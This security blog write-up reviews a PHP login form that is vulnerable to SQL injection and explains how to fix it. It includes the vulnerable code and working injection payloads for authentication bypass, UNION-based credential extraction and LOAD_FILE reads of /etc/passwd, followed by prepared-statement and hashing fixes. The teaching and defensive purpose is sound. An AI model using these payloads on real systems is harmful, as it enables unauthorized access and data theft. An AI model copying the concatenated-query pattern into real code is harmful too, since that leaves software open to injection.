← Back to all writeups

Code Review: SQL Injection via Unsanitized Query Construction

A login form built with raw string concatenation instead of parameterized queries allowed complete authentication bypass and full database extraction — one of the most exploited vulnerabilities in real-world penetration testing.

sqlisql-injectionphpmysqlauthentication-bypasscode-review

SQL Injection has been on the OWASP Top 10 for over two decades. It gets patched, rediscovered, patched again — and still shows up in production applications everywhere. If you’re doing penetration testing, you will find this. Repeatedly.

This code review covers a login form implementation that’s textbook vulnerable. The kind you’ll recognize immediately once you’ve seen it — and the kind that appears in real applications more than it should.


The Code

<?php

function loginUser($username, $password) {
    $conn = mysqli_connect("localhost", "dbuser", "dbpass", "appdb");

    $query = "SELECT * FROM users 
              WHERE username = '" . $username . "' 
              AND password = '" . $password . "'";

    $result = mysqli_query($conn, $query);

    if (mysqli_num_rows($result) > 0) {
        return "Login successful.";
    } else {
        return "Invalid credentials.";
    }
}

$username = $_POST['username'];
$password = $_POST['password'];

echo loginUser($username, $password);

?>

Classic. Take a moment to identify every issue before reading on.


Breaking It Down

The function connects to a MySQL database and runs a query to check if the submitted username and password match a record in the users table.

The problem is in how the query is constructed:

$query = "SELECT * FROM users 
          WHERE username = '" . $username . "' 
          AND password = '" . $password . "'";

$username and $password come directly from $_POST — raw user input — and are concatenated straight into the SQL string. There is no escaping. No parameterization. No validation.

The developer is treating user input as trusted SQL. It isn’t.


Attack 1 — Authentication Bypass

An attacker doesn’t need to know any valid credentials. They just need to make the query always return true.

Submit this as the username:

' OR '1'='1

And anything as the password:

anything

The constructed query becomes:

SELECT * FROM users 
WHERE username = '' OR '1'='1' 
AND password = 'anything'

Due to SQL operator precedence, this evaluates as:

WHERE (username = '') OR ('1'='1' AND password = 'anything')

'1'='1' is always true. The query returns all rows in the users table. mysqli_num_rows() returns a number greater than 0. Login granted — no valid credentials needed.

Classic bypass. Works on the majority of vulnerable login forms.


Attack 2 — Bypass With Comment Injection

An even cleaner approach — comment out the password check entirely:

admin'--

The constructed query becomes:

SELECT * FROM users 
WHERE username = 'admin'--' AND password = 'anything'

Everything after -- is a SQL comment and gets ignored by the database engine. The query reduces to:

SELECT * FROM users WHERE username = 'admin'

If a user named admin exists — you’re logged in as them. No password required.


Attack 3 — Data Extraction via UNION

Authentication bypass is bad. But the real damage comes from data extraction.

Using a UNION-based injection, an attacker can pull data from any table in the database.

First — determine the number of columns in the original query by testing:

' UNION SELECT NULL-- 
' UNION SELECT NULL,NULL-- 
' UNION SELECT NULL,NULL,NULL--

When the page stops erroring, the column count is found. Then extract data:

' UNION SELECT username, password, NULL FROM users--

Every username and password hash in the users table is now returned in the response.

From there — crack the hashes offline, pivot to other services, escalate privileges. A single SQL injection in a login form can unravel an entire application.


Attack 4 — Reading System Files

MySQL’s LOAD_FILE() function can read files from the server filesystem if the database user has FILE privilege:

' UNION SELECT LOAD_FILE('/etc/passwd'), NULL, NULL--

If the database user was configured with excessive privileges — which is common — this reads arbitrary files directly from the operating system. SQL injection just became local file read.


Why Plain Password Comparison Is Also a Problem

Beyond the injection, there’s a second critical issue — the query compares plaintext passwords:

AND password = '" . $password . "'

This means passwords are stored in plaintext in the database. If an attacker dumps the users table via SQLi, they don’t even need to crack hashes — credentials are immediately usable across every service the users have accounts on.


Root Cause

Two lines cause everything:

$username = $_POST['username'];  // raw input, no sanitization
$password = $_POST['password'];  // raw input, no sanitization

Combined with string concatenation into a SQL query — these are the conditions for injection.


The Fix

Fix 1 — Use prepared statements with parameterized queries:

<?php

function loginUser($username, $password) {
    $conn = new mysqli("localhost", "dbuser", "dbpass", "appdb");

    // Prepare the statement — no user input in the query string
    $stmt = $conn->prepare("SELECT id, username, password_hash 
                            FROM users WHERE username = ?");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $result = $stmt->get_result();

    if ($result->num_rows === 0) {
        return "Invalid credentials.";
    }

    $user = $result->fetch_assoc();

    // Verify password against stored hash — never plaintext
    if (!password_verify($password, $user['password_hash'])) {
        return "Invalid credentials.";
    }

    return "Login successful.";
}

$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';

echo loginUser($username, $password);

?>

With prepared statements, the query structure is defined first. User input is then bound as a parameter — it can never be interpreted as SQL syntax. The ? placeholder is data, not code.

Fix 2 — Hash passwords properly:

// When storing a password:
$hash = password_hash($plaintext_password, PASSWORD_BCRYPT);

// When verifying:
password_verify($submitted_password, $stored_hash);

password_hash() with PASSWORD_BCRYPT produces a salted hash. Even if the database is fully dumped, hashes cannot be reversed trivially.

Fix 3 — Principle of least privilege on the database user:

-- Only grant what the application actually needs
GRANT SELECT, INSERT, UPDATE ON appdb.users TO 'dbuser'@'localhost';
-- Never GRANT FILE, never GRANT ALL

This prevents LOAD_FILE() attacks and limits the blast radius if injection is ever achieved.


Detection During a Pentest

When testing a login form manually, these payloads confirm SQLi quickly:

' -- error or behaviour change
' OR '1'='1
admin'--
' AND 1=1--
' AND 1=2--

If the application behaves differently between AND 1=1 (true) and AND 1=2 (false) — it’s injectable. From there, manual exploitation or tools like sqlmap can extract the full database.


Key Takeaways

  • String concatenation into SQL queries is always wrong — use prepared statements, no exceptions
  • Plaintext password storage multiplies the damage — always hash with bcrypt or argon2
  • Authentication bypass via SQLi requires zero knowledge of valid credentials — a single quote can be enough
  • Database users should follow least privilege — limit what the app account can do at the DB level
  • SQLi is not just authentication bypass — it can lead to full data extraction, file read, and in some cases RCE via INTO OUTFILE or UDFs

Found this useful? More code reviews coming. Hit me up on X if you want to discuss.